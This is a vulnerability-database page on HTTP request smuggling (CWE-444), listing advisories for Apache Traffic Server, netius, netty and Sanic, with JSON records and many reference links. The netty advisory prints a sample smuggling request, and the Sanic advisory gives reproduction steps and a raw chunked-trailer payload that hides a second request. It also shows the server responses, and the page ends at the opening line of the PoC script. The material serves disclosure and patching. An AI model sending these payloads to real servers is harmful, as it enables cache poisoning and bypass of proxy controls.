Common Weakness Enumeration

CWE-444

Allowed

Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The product acts as an intermediary HTTP agent (such as a proxy or firewall) in the data flow between two entities such as a client and server, but it does not interpret malformed HTTP requests or responses in ways that are consistent with how the messages will be processed by those entities that are at the ultimate destination.

676 vulnerabilities reference this CWE, most recent first.

GHSA-WHHQ-69JF-G65H

Vulnerability from github – Published: 2022-05-14 02:01 – Updated: 2022-05-14 02:01
VLAI
Details

There are multiple HTTP smuggling and cache poisoning issues when clients making malicious requests interact with Apache Traffic Server (ATS). This affects versions 6.0.0 to 6.2.2 and 7.0.0 to 7.1.3. To resolve this issue users running 6.x should upgrade to 6.2.3 or later versions and 7.x users should upgrade to 7.1.4 or later versions.

Severity
6.5 (Medium)
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2018-8004"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-08-29T13:29:00Z",
    "severity": "MODERATE"
  },
  "details": "There are multiple HTTP smuggling and cache poisoning issues when clients making malicious requests interact with Apache Traffic Server (ATS). This affects versions 6.0.0 to 6.2.2 and 7.0.0 to 7.1.3. To resolve this issue users running 6.x should upgrade to 6.2.3 or later versions and 7.x users should upgrade to 7.1.4 or later versions.",
  "id": "GHSA-whhq-69jf-g65h",
  "modified": "2022-05-14T02:01:19Z",
  "published": "2022-05-14T02:01:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-8004"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/trafficserver/pull/3192"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/trafficserver/pull/3201"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/trafficserver/pull/3231"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/trafficserver/pull/3251"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/7df882eb09029a4460768a61f88a30c9c30c9dc88e9bcc6e19ba24d5@%3Cusers.trafficserver.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2018/dsa-4282"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/105192"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WM2M-XRRP-J74C

Vulnerability from github – Published: 2021-06-18 18:31 – Updated: 2024-10-07 15:08
VLAI
Summary
HTTP Request Smuggling in netius
Details

netius prior to 1.17.58 is vulnerable to HTTP Request Smuggling. HTTP pipelining issues and request smuggling attacks might be possible due to incorrect Transfer encoding header parsing which could allow for CL:TE or TE:TE attacks.

Severity
6.1 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
5.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "netius"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.17.58"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-7655"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-14T21:29:08Z",
    "nvd_published_at": "2020-05-21T15:15:00Z",
    "severity": "MODERATE"
  },
  "details": "netius prior to 1.17.58 is vulnerable to HTTP Request Smuggling. HTTP pipelining issues and request smuggling attacks might be possible due to incorrect Transfer encoding header parsing which could allow for CL:TE or TE:TE attacks.",
  "id": "GHSA-wm2m-xrrp-j74c",
  "modified": "2024-10-07T15:08:10Z",
  "published": "2021-06-18T18:31:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7655"
    },
    {
      "type": "WEB",
      "url": "https://github.com/hivesolutions/netius/commit/9830881ef68328f8ea9c7901db1d11690677e7d1"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-wm2m-xrrp-j74c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/hivesolutions/netius"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/netius/PYSEC-2020-242.yaml"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-PYTHON-NETIUS-569141"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "HTTP Request Smuggling in netius"
}

GHSA-WM47-8V5P-WJPJ

Vulnerability from github – Published: 2021-03-09 18:49 – Updated: 2021-08-31 21:19
VLAI
Summary
Possible request smuggling in HTTP/2 due missing validation
Details

Impact

If a Content-Length header is present in the original HTTP/2 request, the field is not validated by Http2MultiplexHandler as it is propagated up. This is fine as long as the request is not proxied through as HTTP/1.1. If the request comes in as an HTTP/2 stream, gets converted into the HTTP/1.1 domain objects (HttpRequest, HttpContent, etc.) via Http2StreamFrameToHttpObjectCodecand then sent up to the child channel's pipeline and proxied through a remote peer as HTTP/1.1 this may result in request smuggling.

In a proxy case, users may assume the content-length is validated somehow, which is not the case. If the request is forwarded to a backend channel that is a HTTP/1.1 connection, the Content-Length now has meaning and needs to be checked.

An attacker can smuggle requests inside the body as it gets downgraded from HTTP/2 to HTTP/1.1. A sample attack request looks like:

POST / HTTP/2
:authority:: externaldomain.com
Content-Length: 4

asdfGET /evilRedirect HTTP/1.1
Host: internaldomain.com

Users are only affected if all of this is true: * HTTP2MultiplexCodec or Http2FrameCodec is used * Http2StreamFrameToHttpObjectCodec is used to convert to HTTP/1.1 objects * These HTTP/1.1 objects are forwarded to another remote peer.

Patches

This has been patched in 4.1.60.Final

Workarounds

The user can do the validation by themselves by implementing a custom ChannelInboundHandler that is put in the ChannelPipeline behind Http2StreamFrameToHttpObjectCodec.

References

Related change to workaround the problem: https://github.com/Netflix/zuul/pull/980

Severity
5.9 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.1.60.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 4.0.0"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.jboss.netty:netty"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 4.0.0"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-21295"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-03-09T18:47:09Z",
    "nvd_published_at": "2021-03-09T19:15:00Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nIf a Content-Length header is present in the original HTTP/2 request, the field is not validated by `Http2MultiplexHandler` as it is propagated up.  This is fine as long as the request is not proxied through as HTTP/1.1.\nIf the request comes in as an HTTP/2 stream, gets converted into the HTTP/1.1 domain objects (`HttpRequest`, `HttpContent`, etc.) via `Http2StreamFrameToHttpObjectCodec `and then sent up to the child channel\u0027s pipeline and proxied through a remote peer as HTTP/1.1 this may result in request smuggling.  \n\nIn a proxy case, users  may assume the content-length is validated somehow, which is not the case.  If the request is forwarded to a backend channel that is a HTTP/1.1 connection, the Content-Length now has meaning and needs to be checked.\n\nAn attacker can smuggle requests inside the body as it gets downgraded from HTTP/2 to HTTP/1.1.   A sample attack request looks like:\n\n```\nPOST / HTTP/2\n:authority:: externaldomain.com\nContent-Length: 4\n\nasdfGET /evilRedirect HTTP/1.1\nHost: internaldomain.com\n```\n\nUsers are only affected if all of this is `true`:\n * `HTTP2MultiplexCodec` or `Http2FrameCodec` is used\n * `Http2StreamFrameToHttpObjectCodec` is used to convert to HTTP/1.1 objects\n * These  HTTP/1.1 objects are forwarded to another remote peer.\n \n\n### Patches\nThis has been patched in 4.1.60.Final\n\n### Workarounds\nThe user can do the validation by themselves by implementing a custom `ChannelInboundHandler` that is put in the `ChannelPipeline` behind `Http2StreamFrameToHttpObjectCodec`.\n\n### References\nRelated change to workaround the problem: https://github.com/Netflix/zuul/pull/980 ",
  "id": "GHSA-wm47-8v5p-wjpj",
  "modified": "2021-08-31T21:19:12Z",
  "published": "2021-03-09T18:49:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-wm47-8v5p-wjpj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-21295"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Netflix/zuul/pull/980"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/commit/89c241e3b1795ff257af4ad6eadc616cb2fb3dc4"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rc73b8dd01b1be276d06bdf07883ecd93fe1a01f139a99ef30ba4308c@%3Ccommits.servicecomb.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rc165e36ca7cb5417aec3f21bbc4ec00fb38ecebdd96a82cfab9bd56f@%3Cjira.kafka.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rc0087125cb15b4b78e44000f841cd37fefedfda942fd7ddf3ad1b528@%3Cissues.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rbed09768f496244a2e138dbbe6d2847ddf796c9c8ef9e50f2e3e30d9@%3Cnotifications.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rbadcbcb50195f00bbd196403865ced521ca70787999583c07be38d0e@%3Cnotifications.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rb95d42ce220ed4a4683aa17833b5006d657bc4254bc5cb03cd5e6bfb@%3Cissues.hbase.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rb592033a2462548d061a83ac9449c5ff66098751748fcd1e2d008233@%3Cissues.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rb523bb6c60196c5f58514b86a8585c2069a4852039b45de3818b29d2@%3Ccommits.servicecomb.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rb51d6202ff1a773f96eaa694b7da4ad3f44922c40b3d4e1a19c2f325@%3Ccommits.pulsar.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rb06c1e766aa45ee422e8261a8249b561784186483e8f742ea627bda4@%3Cdev.kafka.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rae198f44c3f7ac5264045e6ba976be1703cff38dcf1609916e50210d@%3Ccommits.servicecomb.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/racc191a1f70a4f13155e8002c61bddef2870b26441971c697436ad5d@%3Ccommits.servicecomb.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/ra96c74c37ed7252f78392e1ad16442bd16ae72a4d6c8db50dd55c88b@%3Ccommits.servicecomb.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/ra83096bcbfe6e1f4d54449f8a013117a0536404e9d307ab4a0d34f81@%3Cissues.hbase.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/ra655e5cec74d1ddf62adacb71d398abd96f3ea2c588f6bbf048348eb@%3Cissues.kudu.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/ra64d56a8a331ffd7bdcd24a9aaaeeedeacd5d639f5a683389123f898@%3Cdev.flink.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r9924ef9357537722b28d04c98a189750b80694a19754e5057c34ca48@%3Ccommits.pulsar.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r96ce18044880c33634c4b3fcecc57b8b90673c9364d63eba00385523@%3Cjira.kafka.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r905b92099998291956eebf4f1c5d95f5a0cbcece2946cc46d32274fd@%3Cdev.hbase.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r9051e4f484a970b5566dc1870ecd9c1eb435214e2652cf3ea4d0c0cc@%3Cjira.kafka.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r8db1d7b3b9acc9e8d2776395e280eb9615dd7790e1da8c57039963de@%3Cnotifications.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r8bcaf7821247b1836b10f6a1a3a3212b06272fd4cde4a859de1b78cf@%3Ccommits.servicecomb.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuapr2022.html"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2021/dsa-4885"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20210604-0003"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rfff6ff8ffb31e8a32619c79774def44b6ffbb037c128c5ad3eab7171@%3Cissues.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rf934292a4a1c189827f625d567838d2c1001e4739b158638d844105b@%3Cissues.kudu.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rf87b870a22aa5c77c27900967b518a71a7d954c2952860fce3794b60@%3Ccommits.servicecomb.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rf36f1114e84a3379b20587063686148e2d5a39abc0b8a66ff2a9087a@%3Cissues.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/reafc834062486adfc7be5bb8f7b7793be0d33f483678a094c3f9d468@%3Ccommits.servicecomb.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/re7c69756a102bebce8b8681882844a53e2f23975a189363e68ad0324@%3Cissues.flink.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/re6207ebe2ca4d44f2a6deee695ad6f27fd29d78980f1d46ed1574f91@%3Cissues.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/re4f70b62843e92163fab03b65e2aa8078693293a0c36f1cc260079ed@%3Ccommits.servicecomb.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rddbb4f8d5db23265bb63d14ef4b3723b438abc1589f877db11d35450@%3Cissues.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rdc096e13ac4501ea2e2b03a197682a313b85d3d3ec89d5ae5551b384@%3Cissues.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rdb4db3f5a9c478ca52a7b164680b88877a5a9c174e7047676c006b2c@%3Ccommits.servicecomb.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rd8f72411fb75b98d366400ae789966373b5c3eb3f511e717caf3e49e@%3Cissues.flink.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rd4a6b7dec38ea6cd28b6f94bd4b312629a52b80be3786d5fb0e474bc@%3Cissues.kudu.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rd25c88aad0e76240dd09f0eb34bdab924933946429e068a167adcb73@%3Ccommits.servicecomb.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rcfc535afd413d9934d6ee509dce234dac41fa3747a7555befb17447e@%3Cissues.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rcfc154eb2de23d2dc08a56100341161e1a40a8ea86c693735437e8f2@%3Ccommits.servicecomb.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rcf3752209a8b04996373bf57fdc808b3bfaa2be8702698a0323641f8@%3Ccommits.hbase.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rcd163e421273e8dca1c71ea298dce3dd11b41d51c3a812e0394e6a5d@%3Ccommits.pulsar.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rca0978b634a0c3ebee4126ec29c7f570b165fae3f8f3658754c1cbd3@%3Cissues.kudu.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r86cd38a825ab2344f3e6cad570528852f29a4ffdf56ab67d75c36edf@%3Cissues.hbase.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r3ff9e735ca33612d900607dc139ebd38a64cadc6bce292e53eb86d7f@%3Cissues.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r3c4596b9b37f5ae91628ccf169d33cd5a0da4b16b6c39d5bad8e03f3@%3Cdev.jackrabbit.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r3c293431c781696681abbfe1c573c2d9dcdae6fd3ff330ea22f0433f@%3Cjira.kafka.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r393a339ab0b63ef9e6502253eeab26e7643b3e69738d5948b2b1d064@%3Cissues.hbase.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r33eb06b05afbc7df28d31055cae0cb3fd36cab808c884bf6d680bea5@%3Cdev.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r32b0b640ad2be3b858f0af51c68a7d5c5a66a462c8bbb93699825cd3@%3Cissues.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r312ce5bd3c6bf08c138349b507b6f1c25fe9cf40b6f2b0014c9d12b1@%3Cnotifications.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r2e93ce23e04c3f0a61e987d1111d0695cb668ac4ec4edbf237bd3e80@%3Ccommits.servicecomb.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r2936730ef0a06e724b96539bc7eacfcd3628987c16b1b99c790e7b87@%3Cissues.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r27b7e5a588ec826b15f38c40be500c50073400019ce7b8adfd07fece@%3Cissues.hbase.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r268850f26639ebe249356ed6d8edb54ee8943be6f200f770784fb190@%3Cissues.hbase.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r22b2f34447d71c9a0ad9079b7860323d5584fb9b40eb42668c21eaf1@%3Cissues.hbase.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r22adb45fe902aeafcd0a1c4db13984224a667676c323c66db3af38a1@%3Ccommits.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r1bca0b81193b74a451fc6d687ab58ef3a1f5ec40f6c61561d8dd9509@%3Cissues.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r1908a34b9cc7120e5c19968a116ddbcffea5e9deb76c2be4fa461904@%3Cdev.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r16c4b55ac82be72f28adad4f8061477e5f978199d5725691dcc82c24@%3Ccommits.servicecomb.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r15f66ada9a5faf4bac69d9e7c4521cedfefa62df9509881603791969@%3Cjira.kafka.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r0b09f3e31e004fe583f677f7afa46bd30110904576c13c5ac818ac2c@%3Cissues.flink.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r04a3e0d9f53421fb946c60cc54762b7151dc692eb4e39970a7579052@%3Ccommits.servicecomb.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r040a5e4d9cca2f98354b58a70b27099672276f66995c4e2e39545d0b@%3Cissues.hbase.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r02e467123d45006a1dda20a38349e9c74c3a4b53e2e07be0939ecb3f@%3Cdev.ranger.apache.org%3E"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r855b4b6814ac829ce2d48dd9d8138d07f33387e710de798ee92c011e@%3Cissues.flink.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r837bbcbf12e335e83ab448b1bd2c1ad7e86efdc14034b23811422e6a@%3Ccommits.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r7bb3cdc192e9a6f863d3ea05422f09fa1ae2b88d4663e63696ee7ef5@%3Cdev.ranger.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r790c2926efcd062067eb18fde2486527596d7275381cfaff2f7b3890@%3Cissues.bookkeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r70cebada51bc6d49138272437d8a28fe971d0197334ef906b575044c@%3Ccommits.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r6d32fc3cd547f7c9a288a57c7f525f5d00a00d5d163613e0d10a23ef@%3Ccommits.servicecomb.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r6aee7e3566cb3e51eeed2fd8786704d91f80a7581e00a787ba9f37f6@%3Cissues.hbase.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r6a29316d758db628a1df49ca219d64caf493999b52cc77847bfba675@%3Cnotifications.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r6a122c25e352eb134d01e7f4fc4d345a491c5ee9453fef6fc754d15b@%3Ccommits.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r67e6a636cbc1958383a1cd72b7fd0cd7493360b1dd0e6c12f5761798@%3Cnotifications.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r67c4f90658fde875521c949448c54c98517beecdc7f618f902c620ec@%3Cissues.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r602e98daacc98934f097f07f2eed6eb07c18bfc1949c8489dc7bfcf5@%3Cissues.flink.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r5fc5786cdd640b1b0a3c643237ce0011f0a08a296b11c0e2c669022c@%3Cdev.kafka.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r5e66e286afb5506cdfe9bbf68a323e8d09614f6d1ddc806ed0224700@%3Cjira.kafka.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r5baac01f9e06c40ff7aab209d5751b3b58802c63734e33324b70a06a@%3Cissues.flink.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r59bac5c09f7a4179b9e2460e8f41c278aaf3b9a21cc23678eb893e41@%3Cjira.kafka.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r584cf871f188c406d8bd447ff4e2fd9817fca862436c064d0951a071@%3Ccommits.pulsar.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r57245853c7245baab09eae08728c52b58fd77666538092389cc3e882@%3Ccommits.servicecomb.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r5470456cf1409a99893ae9dd57439799f6dc1a60fda90e11570f66fe@%3Cnotifications.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r5232e33a1f3b310a3e083423f736f3925ebdb150844d60ac582809f8@%3Cnotifications.zookeeper.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r4ea2f1a9d79d4fc1896e085f31fb60a21b1770d0a26a5250f849372d@%3Cissues.kudu.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r490ca5611c150d193b320a2608209180713b7c68e501b67b0cffb925@%3Ccommits.servicecomb.apache.org%3E"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Possible request smuggling in HTTP/2 due missing validation"
}

GHSA-WMJ6-G64G-J7Q5

Vulnerability from github – Published: 2026-09-17 14:59 – Updated: 2026-09-17 14:59
VLAI
Summary
sanic chunked trailer request smuggling allows hidden second request execution
Details

Description

Sanic's HTTP/1.1 chunked-body handling does not fully consume the trailer-part after the terminating 0\r\n chunk. Because of that, attacker-controlled bytes left in the connection buffer after the first chunked request can be interpreted as the start of a new HTTP request on the same keep-alive connection. In the attached verified proof, a single outer POST / request that correctly returns 405 Method Not Allowed is followed, within the same TCP send, by a hidden second request smuggled through the chunked trailer area. Sanic parses and executes that second request as a real independent request.

The issue is a request-boundary integrity failure in Sanic's core HTTP/1.1 parser. The verified impact is not speculative. The attached proof shows that one TCP payload produces two server responses: first the expected 405 for the outer POST /, then a separate 200 OK for a hidden GET /. A second exploit variant changes the hidden request path and receives a real 404 Not Found, proving that the hidden second request is not a hard-coded artifact but an actually routed backend request. A control case with a two-character trailer field name shifts the leftover bytes from GET to :GET, which changes the second response accordingly and confirms that the root cause is incorrect trailer consumption rather than legitimate pipelining.

Steps To Reproduce

  1. Start a Sanic HTTP/1.1 service on a keep-alive connection path. In the verified run, the local target listened on 127.0.0.1:9381 and the root route allowed GET / but not POST /.
  2. From the package root, run the provided PoC:
python3 evidence/vuln_001_chunked_trailer_smuggle.py | tee evidence/vuln_001_chunked_trailer_smuggle.run.txt
  1. Review the baseline case in evidence/vuln_001_chunked_trailer_smuggle.run.txt. A normal chunked request with 0\r\n\r\n returns exactly one response block:
=== CASE: baseline_no_trailer ===
Received response blocks: 1
HTTP/1.1 405 Method Not Allowed
  1. Review the exploit case that hides GET / in the trailer area:
=== CASE: exploit_smuggled_root ===

The PoC sends a single TCP payload containing:

POST / HTTP/1.1
Host: 127.0.0.1:9381
Connection: keep-alive
Transfer-Encoding: chunked

1
X
0
a:GET / HTTP/1.1
Host: 127.0.0.1:9381
  1. Confirm that Sanic returns two response blocks from that one send:
Received response blocks: 2
HTTP/1.1 405 Method Not Allowed
...
HTTP/1.1 200 OK
...
{"test":true}
  1. Review the second exploit case that changes the smuggled request path to a nonexistent route:
=== CASE: exploit_smuggled_404 ===

Confirm that Sanic again returns two response blocks and that the second response is a real routed 404 Not Found for the attacker-controlled hidden path. 7. Review the control case with a two-character trailer field name:

=== CASE: offset_control_two_char_field_name ===

Confirm that the second request is now interpreted as :GET /, producing a second 405 with Method :GET not allowed for URL /. This demonstrates that the leftover bytes begin at a parser offset inside the trailer region and are then reinterpreted as a new request line.

Recommendations

After parsing the terminating 0 chunk, Sanic must continue parsing and fully consuming the trailer-part until the final empty line before the connection buffer is reused. If trailer support is not intended, the safer behavior is to reject any request that contains bytes after the terminating 0\r\n other than the expected final empty line, and then close the connection instead of keeping it alive.

Add regression coverage for all three cases shown in the evidence: a normal 0\r\n\r\n chunked termination, a legal trailer that must be fully consumed, and a malicious trailer that must never cause a second backend request to be parsed. The fix needs to guarantee that no bytes from trailer processing can remain in the buffer as a candidate next request.

poc

#!/usr/bin/env python3
